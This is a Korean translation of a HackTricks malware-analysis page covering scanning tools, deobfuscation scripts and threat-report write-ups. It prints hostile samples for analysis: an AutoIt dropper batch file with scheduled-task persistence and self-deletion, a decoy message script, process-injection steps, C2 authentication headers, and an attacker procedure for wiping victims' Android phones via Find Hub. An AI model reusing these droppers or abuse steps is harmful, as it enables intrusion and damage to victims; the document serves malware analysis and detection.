Malware Analysis

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

포렌식 치트시트

https://www.jaiminton.com/cheatsheet/DFIR/#

온라인 서비스

오프라인 Antivirus 및 Detection 도구

Yara

Install

sudo apt-get install -y yara

규칙 준비

이 스크립트를 사용하여 github에서 모든 yara malware 규칙을 다운로드하고 병합하세요: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
rules 디렉터리를 생성하고 실행하세요. 그러면 모든 malware용 yara 규칙이 들어 있는 _malware_rules.yar_라는 파일이 생성됩니다.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

스캔

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: 악성코드 검사 및 규칙 생성

YaraGen 도구를 사용해 binary에서 yara rules를 생성할 수 있습니다. 다음 튜토리얼을 확인하세요: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

설치

sudo apt-get install -y clamav

스캔

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa는 실행 파일에서 잠재적으로 악성인 capabilities를 탐지합니다: PE, ELF, .NET. 따라서 Att&ck tactics나 다음과 같은 의심스러운 capabilities를 찾을 수 있습니다:

  • OutputDebugString error 확인
  • 서비스로 실행
  • process 생성

Github repo에서 받을 수 있습니다.

IOCs

IOC는 Indicator Of Compromise를 의미합니다. IOC는 잠재적으로 원치 않는 소프트웨어나 확인된 malware를 식별하는 조건들의 집합입니다. Blue Teams는 이런 정의를 사용해 자신들의 시스템네트워크에서 이런 종류의 악성 파일을 검색합니다.
이런 정의를 공유하는 것은 매우 유용한데, 어떤 컴퓨터에서 malware가 식별되고 그 malware에 대한 IOC가 만들어지면, 다른 Blue Teams가 이를 사용해 더 빠르게 malware를 식별할 수 있기 때문입니다.

IOC를 생성하거나 수정하는 도구는 IOC Editor.
Redline 같은 도구를 사용해 기기에서 정의된 IOCs를 검색할 수 있습니다.

Loki

Loki는 Simple Indicators of Compromise용 스캐너입니다.
탐지는 네 가지 탐지 방법을 기반으로 합니다:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD)는 공유 호스팅 환경에서 마주치는 위협을 고려해 설계된 Linux용 malware scanner로, GNU GPLv2 라이선스 하에 공개된다. 네트워크 경계 intrusion detection systems의 threat data를 사용해 공격에 실제로 사용되고 있는 malware를 추출하고 detection용 signatures를 생성한다. 또한 LMD checkout 기능을 통한 사용자 제출과 malware community resources에서도 threat data를 얻는다.

rkhunter

rkhunter 같은 도구는 filesystem에서 가능한 rootkits와 malware를 확인하는 데 사용할 수 있다.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS는 다양한 기법을 사용해 실행 파일 안의 난독화된 문자열을 찾아내려 시도하는 도구입니다.

PEpper

PEpper 는 실행 파일 내부의 몇 가지 기본 사항(바이너리 데이터, entropy, URLs 및 IPs, 일부 yara rules)을 확인합니다.

PEstudio

PEstudio는 imports, exports, headers 같은 Windows 실행 파일 정보를 얻을 수 있는 도구이며, 동시에 virus total을 확인하고 잠재적인 Att&ck techniques를 찾습니다.

Detect It Easy(DiE)

DiE는 파일이 encrypted되었는지 감지하고 packers도 찾아내는 도구입니다.

NeoPI

NeoPI 는 텍스트/스크립트 파일 내부의 obfuscatedencrypted 콘텐츠를 탐지하기 위해 다양한 statistical methods를 사용하는 Python script입니다. NeoPI의 목적은 hidden web shell code 탐지를 돕는 것입니다.

php-malware-finder

PHP-malware-finderobfuscated/dodgy code뿐만 아니라 PHP functions를 사용하는 파일도 최대한 탐지하며, 이런 함수들은 malwares/webshells에서 자주 사용됩니다.

Apple Binary Signatures

일부 malware sample을 확인할 때는 항상 binary의 signaturecheck해야 합니다. 이를 서명한 developer가 이미 malwarerelated되어 있을 수 있기 때문입니다.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Detection Techniques

File Stacking

웹 서버의 파일이 들어 있는 어떤 폴더가 마지막으로 업데이트된 날짜를 알고 있다면. 웹 서버의 모든 파일생성되고 수정된 날짜확인하고, 의심스러운 날짜가 있으면 그 파일을 확인하세요.

Baselines

폴더의 파일이 수정되면 안 되는 경우, 폴더의 원본 파일hash를 계산하고 현재 파일과 비교할 수 있습니다. 수정된 것은 무엇이든 의심스럽습니다.

Statistical Analysis

정보가 logs에 저장되어 있다면 웹 서버의 각 파일이 몇 번 접근되었는지 같은 statistics를 확인할 수 있습니다. web shell은 가장 가능성 있는 것 중 하나일 수 있습니다.


Android in-app native telemetry (no root)

Android에서는 다른 JNI libs가 초기화되기 전에 작은 logger library를 preloading해서 target app process 내부의 native code를 instrument할 수 있습니다. 이렇게 하면 system-wide hooks나 root 없이도 native behavior에 대한 초기 가시성을 확보할 수 있습니다. 널리 쓰이는 방법은 SoTap입니다. APK에 맞는 ABI용 libsotap.so를 넣고, 초기에 System.loadLibrary(“sotap”) 호출을 주입합니다(예: static initializer 또는 Application.onCreate). 그런 다음 internal/external paths 또는 Logcat fallback에서 logs를 수집합니다.

설정 세부 정보와 log paths는 Android native reversing 페이지를 보세요:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

일부 Android malware와 RASP-protected apps는 RegisterNatives를 호출하기 전에 런타임에 디코딩해서 JNI method names와 signatures를 숨깁니다. Frida/ptrace instrumentation이 anti-debug로 종료되더라도, angr로 바이너리 내부 decoder를 실행한 뒤 결과를 comments로 Ghidra에 다시 넣어 offline으로 plaintext를 복구할 수 있습니다.

핵심 아이디어: .so 내부의 decoder를 호출 가능한 function으로 취급하고, .rodata의 obfuscated byte blobs에 대해 실행한 다음, 첫 번째 \x00(C-string terminator)까지의 output bytes를 concretize합니다. address mismatch를 피하려면 angr와 Ghidra가 같은 image base를 사용하도록 유지하세요.

Workflow overview

  • Ghidra에서 triage: JNI_OnLoad와 RegisterNatives 설정에서 decoder와 그 calling convention/arguments를 식별합니다.
  • angr(CPython3)를 실행해 각 target string에 대해 decoder를 수행하고 결과를 dump합니다.
  • Ghidra에 annotate: 빠른 JNI reconstruction을 위해 각 call site에 decoded strings를 auto-comment 합니다.

Ghidra triage (JNI_OnLoad pattern)

  • JNI_OnLoad에 JNI datatypes를 적용해 Ghidra가 JNINativeMethod structures를 인식하도록 합니다.
  • Oracle docs의 전형적인 JNINativeMethod:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • RegisterNatives 호출을 찾으세요. library가 로컬 routine(예: FUN_00100e10)로 name/signature를 구성하고, static byte table(예: DAT_00100bf4)을 참조하며, (encoded_ptr, out_buf, length) 같은 parameters를 받는다면, 그것은 offline execution의 이상적인 target입니다.

angr setup (execute the decoder offline)

  • .so를 Ghidra에서 사용한 것과 같은 base로 load하고(예: 0x00100000), external libs의 auto-loading을 비활성화해 state를 작게 유지합니다.
angr setup and offline decoder execution ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- 대규모로, call site를 디코더의 인자(encoded_ptr, size)에 대한 정적 맵으로 만드세요. wrapper가 인자를 숨길 수 있으므로, API recovery가 noisy하면 Ghidra xrefs에서 이 매핑을 수동으로 만들 수 있습니다.

<details>
<summary>angr로 여러 call site를 일괄 디코딩</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Ghidra에서 call site에 주석 달기
Option A: Jython-only comment writer (use a pre-computed JSON)

  • angr는 CPython3가 필요하므로, deobfuscation과 annotation을 분리해 두세요. 먼저 위의 angr script를 실행해 decoded_strings.json을 생성합니다. 그런 다음 이 Jython GhidraScript를 실행해 각 call site에 PRE_COMMENT를 작성합니다(그리고 context를 위해 caller function name도 포함합니다):
디코딩된 JNI strings에 주석을 다는 Ghidra Jython script ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- 또는 pyhidra나 ghidra_bridge를 사용해, angr가 실행 중인 동일한 CPython 프로세스에서 Ghidra’s API를 제어한다. 이렇게 하면 중간 파일 없이 decode_string()을 바로 호출하고 PRE_COMMENTs를 즉시 설정할 수 있다. 로직은 Jython script와 동일하다: ReferenceManager를 통해 callsite→function map을 만들고, angr로 decode한 뒤 comments를 설정한다.

Why this works and when to use it
- Offline execution은 RASP/anti-debug를 우회한다: strings를 복구하는 데 ptrace나 Frida hooks가 필요하지 않다.
- Ghidra와 angr base_addr를 동일하게 유지하면(예: 0x00100000) tools 간 function/data addresses가 일치한다.
- decoders를 위한 반복 가능한 recipe: transform을 pure function처럼 취급하고, fresh state에 output buffer를 할당한 뒤 (encoded_ptr, out_ptr, len)으로 호출하고, 그다음 state.solver.eval로 concretize한 뒤 \x00까지의 C-string을 parse한다.

Notes and pitfalls
- target ABI/calling convention을 준수하라. angr.factory.callable은 arch를 기반으로 하나를 선택한다; arguments가 어긋나 보이면 cc를 명시적으로 지정하라.
- decoder가 zeroed output buffers를 기대하면, call 전에 state에서 outbuf를 zeros로 초기화하라.
- position-independent Android .so의 경우, angr의 addresses가 Ghidra에서 보이는 것과 일치하도록 항상 base_addr를 제공하라.
- 앱이 decoder를 얇은 stubs 뒤에 감추더라도 currentProgram.getReferenceManager()를 사용해 call-xrefs를 열거하라.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`.  A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.

The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. 디스패처 바이트코드 추출

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Unicorn으로 두 번 에뮬레이션하기

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

run(code,0,0)run(code,1,1)를 실행하여 falsetrue 분기 대상 주소를 얻는다.

4. 직접 jmp / call로 되돌리기 패치

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

패치 후 IDA가 함수를 다시 분석하도록 강제하여 전체 CFG와 Hex-Rays 출력이 복원되도록 하세요:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. 간접 API 호출에 라벨 붙이기

모든 call rax의 실제 목적지가 알려지면, IDA에 그것이 무엇인지 알려서 매개변수 유형과 변수 이름이 자동으로 복구되게 할 수 있습니다:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Practical benefits

  • 실제 CFG를 복원 → decompilation이 10줄에서 수천 줄로 바뀜.
  • string-cross-reference 및 xrefs를 가능하게 하여, behavior reconstruction을 매우 쉽게 만듦.
  • Scripts는 재사용 가능: 같은 trick으로 보호된 어떤 loader에도 그대로 넣을 수 있음.

AutoIt-based loaders: .a3x decryption, Task Scheduler masquerade and RAT injection

이 intrusion pattern은 signed MSI, .a3x로 컴파일된 AutoIt loaders, 그리고 benign app으로 위장한 Task Scheduler job을 체인으로 엮는다.

MSI → custom actions → AutoIt orchestrator

MSI custom actions가 실행한 process tree와 commands:

  • MsiExec.exe → install.bat를 실행하기 위한 cmd.exe
  • 위장용 error dialog를 표시하는 WScript.exe
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (loader를 드롭하고, persistence를 설정하며, self-cleans):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (사용자 미끼):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Key artifacts and masquerade:

  • AutoIt3.exe와 IoKlTr.au3를 C:\Users\Public\Music에 드롭
  • schtasks.exe를 hwpviewer.exe로 복사함(Hangul Word Processor viewer로 가장)
  • 1분마다 실행되는 예약 작업 “IoKlTr” 생성
  • Startup LNK는 Smart_Web.lnk로 확인됨; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • %APPDATA%\Google\Browser\ 하위 폴더에 adb 또는 adv를 포함한 모듈을 스테이징하고 autoit.vbs/install.bat helper를 통해 시작함

Forensic triage tips:

  • schtasks 열거: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Task XML과 함께 위치한 이름이 바뀐 schtasks.exe 복사본 확인: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Common paths: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • 프로세스 생성 상관관계 확인: AutoIt3.exe가 정상 Windows 바이너리(예: cleanmgr.exe, hncfinder.exe)를 생성하는지 확인

AutoIt loaders and .a3x payload decryption → injection

  • AutoIt modules are #AutoIt3Wrapper_Outfile_type=a3x로 컴파일되며, 정상 프로세스에 주입하기 전에 포함된 payload를 복호화함.
  • 관찰된 family: QuasarRAT (hncfinder.exe에 주입) 및 RftRAT/RFTServer (cleanmgr.exe에 주입), 그리고 RemcosRAT modules (Remcos\RunBinary.a3x).
  • 복호화 패턴: HMAC를 통해 AES key를 도출한 뒤, 포함된 blob을 복호화하고, plaintext module을 주입함.

Generic decryption skeleton (exact HMAC input/algorithm is family-specific):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Common injection flow (CreateRemoteThread-style):

  • CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory with decrypted module/shellcode
  • CreateRemoteThread or QueueUserAPC to execute payload

Hunting ideas

  • AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
  • Files with .a3x extensions or AutoIt script runners under public/user-writable paths
  • Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers

Android Find My Device (Find Hub)의 계정 탈취 악용

Windows 침해 중, 공격자들은 훔친 Google 자격 증명을 사용해 피해자의 Android 기기를 반복해서 초기화했고, 그동안 피해자의 로그인된 데스크톱 메신저를 통해 접근을 확장하는 동안 알림을 억제했다.

운영자 절차(로그인된 브라우저 세션 기준):

  • Google Account → Security → Your devices를 검토하고, Find My Phone → Find Hub (https://www.google.com/android/find)로 이동
  • 기기 선택 → Google 비밀번호 재입력 → “Erase device” 실행(공장 초기화); 복구를 지연시키기 위해 반복
  • 선택 사항: 연결된 메일함(예: Naver)에서 경고 e-mail을 삭제해 보안 알림을 숨김

심하게 난독화된 Node.js 로더 추적

공격자들은 nexe로 컴파일한 독립형 Windows 바이너리 안에 JavaScript 로더를 점점 더 많이 번들링하고 있으며, 런타임이 스크립트와 함께 포함된다. 그 결과 PE는 보통 60~90 MB 정도이며 Node.js가 설치되어 있지 않아도 실행된다. triage 중에는:

  • nexe_unpacker를 사용해 PE 안에 내장된 JavaScript를 추출하고, 로컬 도구에 넣어 정적 diffing을 수행한다.
  • %TEMP%에서 디스크 기반 mutex를 예상하라(GachiLoader는 약 5분 후 만료되는 무작위 <name>.lock 파일을 생성한다). 실행 전에 파일을 sandbox로 복사하면 이후 payload는 그대로 보면서 불필요한 단계를 건너뛸 수 있다.

안티 분석을 우회하기 위한 Node.js API tracing

Check Point의 Nodejs-Tracer는 어떤 Node.js process 안에서도 core modules에 hook을 걸고, anti-VM probe를 속이게 해주며, 샘플이 쓰는 모든 artifact를 보존한다. 분석가가 제어하는 instrumentation을 call stack에 유지하려면 난독화된 스크립트를 tracer를 통해 실행하라:

node -r .\tracer.js main.js

tracer.js 내부의 핵심 configuration toggle을 사용하면 다음이 가능합니다:

  • filesystem, child-process, HTTP activity를 기록합니다 (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). kidkadi.node 같은 모든 dropped file은 malware가 삭제하기 전에 working directory로 복사됩니다.
  • 현실적인 RAM/CPU count를 반환하고, tasklist output을 조작하며, PowerShell/WMI response를 변조해 environment fingerprints를 override합니다. 이로써 ≥4 GB RAM, ≥2 cores를 요구하고 user names (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …), process names (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe)를 검사하는 loader를 우회합니다.
  • Get-WmiObject Win32_DiskDrive 같은 WMI hardware check를 무력화합니다 (vmware, kvm, virtio, …를 찾는 경우), Win32_VideoController (“VirtualBox Graphics Adapter”, “Hyper-V Video”, etc. 차단)와 Win32_PortConnector count도 포함합니다. 이러한 probe가 “real” hardware를 보고하면, sandbox는 더 이상 linkedin.com, grok.com, whatsapp.com 및 GachiLoader가 analysis time을 낭비시키기 위해 사용하는 유사 domain으로 향하는 무한한 benign Invoke-WebRequest loop에 걸리지 않습니다.

Capturing gated C2 traffic automatically

tracer의 network hook은 JavaScript obfuscation을 reverse하지 않고도 multi-layer C2 authentication을 드러냅니다. 관찰된 campaign에서 loader는 다음을 수행했습니다:

  1. 각 hard-coded C2에 host telemetry를 /log로 POST합니다.
  2. X-Secret: gachifamily와 함께 GET /richfamily/<per-sample key>를 보내 Base64-encoded payload URL을 가져옵니다.
  3. 그 URL로 긴 per-sample X-Secret header와 함께 최종 GET을 수행합니다. 이를 누락하면 403 Forbidden이 반환됩니다.

tracer가 complete request(headers, bodies, destinations)를 기록하므로, 동일한 traffic을 replay하여 payload를 가져오고, Themida/VMProtect shell을 memory에서 dump하며, Rhadamanthys configuration data를 대규모로 추출할 수 있습니다.

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • com.n2.systemservice06* 같은 malicious APK는 res/raw 안에 statically linked ARM ELF를 포함합니다 (예: R.raw.libniggakernel). BOOT_COMPLETED receiver가 startup 시 실행되어 raw resource를 app sandbox로 추출하고 (예: /data/data/<pkg>/niggakernel), executable로 만든 뒤 su로 실행합니다.
  • 많은 Android TV box/tablet는 pre-rooted image 또는 world-writable su를 포함하므로, loader는 exploit chain이 없어도 UID 0으로 ELF를 안정적으로 부팅합니다. receiver가 reboot 또는 app restart 후마다 다시 실행되기 때문에 persistence는 “공짜”로 얻어집니다.
  • 이 패턴을 찾는 reverse engineer는 숨겨진 boot receiver와 Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su")를 참조하는 code를 AndroidManifest.xml에서 diff할 수 있습니다. ELF가 dropped되면 Linux userland backdoor로 triage하세요 (Kimwolf는 UPX-packed, stripped, statically linked, 32-bit ARM EABI5입니다).

Runtime mutexes & masquerading IOCs

  • 시작 시 Kimwolf는 @niggaboxv4/@niggaboxv5 같은 abstract UNIX domain socket에 bind합니다. 기존 socket이 있으면 exit하므로, socket name은 mutex이자 forensic artifact로 작동합니다.
  • process title은 netd_services, tv_helper, etc. 같은 service-looking name으로 덮어써 Android process listing에 섞이게 합니다. host-based detection은 이러한 name과 mutex socket의 조합을 기준으로 경보를 낼 수 있습니다.

Stack XOR string decoding with ARM NEON + flare_emu

  • 민감한 string(C2 domain, resolver, DoT endpoint)은 encrypted 8-byte block으로 stack에 push되고, VEOR Qx, Qx, Qy (veorq_s64)를 통해 in-place로 decode됩니다. 분석가는 flare_emu를 script하여 decryptor가 caller에게 decrypted pointer를 넘길 때마다 그 pointer를 잡아낼 수 있습니다:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • VEOR Q8, Q8, Q9 / veorq_s64 시퀀스를 찾고 그 범위를 에뮬레이션하면, 복호화된 모든 문자열을 대량 덤프할 수 있어 plaintext의 stack-only lifetime를 우회할 수 있다.

DNS-over-TLS resolution plus XOR IP derivation

  • 모든 Kimwolf 변종은 DNS-over-TLS (TCP/853) 로 Google (8.8.8.8) 또는 Cloudflare (1.1.1.1)와 직접 통신해 C2 도메인을 resolve하므로, 일반 DNS logging이나 hijacking을 무력화한다.
  • v4 bots는 반환된 IPv4 A record를 그대로 사용한다. v5 bots는 A record를 32-bit integer로 처리한 뒤 endianness를 swap하고, 이를 상수 0x00ce0491과 XOR한 다음, 다시 endianness를 되돌려 실제 C2 IP를 얻는다. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding fallback

  • 이후 빌드에는 ENS 도메인 (pawsatyou.eth) 이 추가되며, resolver text key "lol" 에는 무해해 보이는 IPv6 (fed0:5dec:...:1be7:8599) 가 저장된다.
  • bot은 마지막 4바이트 (1b e7 85 99) 를 가져와 0x93141715 와 XOR한 뒤, 그 결과를 IPv4 C2 (136.243.146.140) 로 해석한다. ENS text record를 업데이트하면 DNS를 건드리지 않고도 blockchain을 통해 downstream C2가 즉시 rotate된다.

TLS + ECDSA authenticated command channel

  • 트래픽은 custom framed protocol을 사용하는 wolfSSL 안에 encapsulate된다:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: bot은 두 개의 비어 있는 MsgType=0 (register) 헤더를 보낸다. C2는 무작위 challenge와 ASN.1 DER ECDSA signature가 포함된 MsgType=1 (verify)로 응답한다. bot은 이를 embedded SubjectPublicKeyInfo blob과 대조해 verify하며, 실패하면 session이 종료되어 hijacked/sinkholed C2 nodes가 fleet에 tasking을 하지 못하게 한다.
  • verify되면, bot은 operator가 정의한 group string(예: android-postboot-rt)을 담은 MsgType=0 body를 보낸다. group이 enabled 상태이면 C2는 MsgType=2 (confirm)로 응답하고, 그 뒤 tasking(MsgType 5–12)이 시작된다.
  • 지원되는 verb에는 SOCKS-style TCP/UDP proxying(residential proxy monetization), reverse shell / single command exec, file read/write, 그리고 Mirai-compatible DDoSBody payloads(같은 AtkType, Duration, Targets[], Flags[] layout)가 포함된다.

Partial-encryption ransomware: lost stream-cipher nonces

Some ransomware families는 속도 향상을 위해 파일을 부분적으로 encrypt하지만, stream cipher를 여러 chunk에 독립적으로 사용할 때는 encrypt된 각 region마다 별도로 persisted nonce/IV가 필요하다. sample이 chunk마다 fresh nonce를 생성한 뒤 loop 안에서 같은 12-byte buffer를 overwrite하고, 마지막 value만 disk에 append하면, attacker가 나중에 key를 공유하더라도 이전 chunk들은 cryptographically unrecoverable 상태가 된다.

Typical broken pattern:

for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12);                // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12);                          // only the last nonce survives

References

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기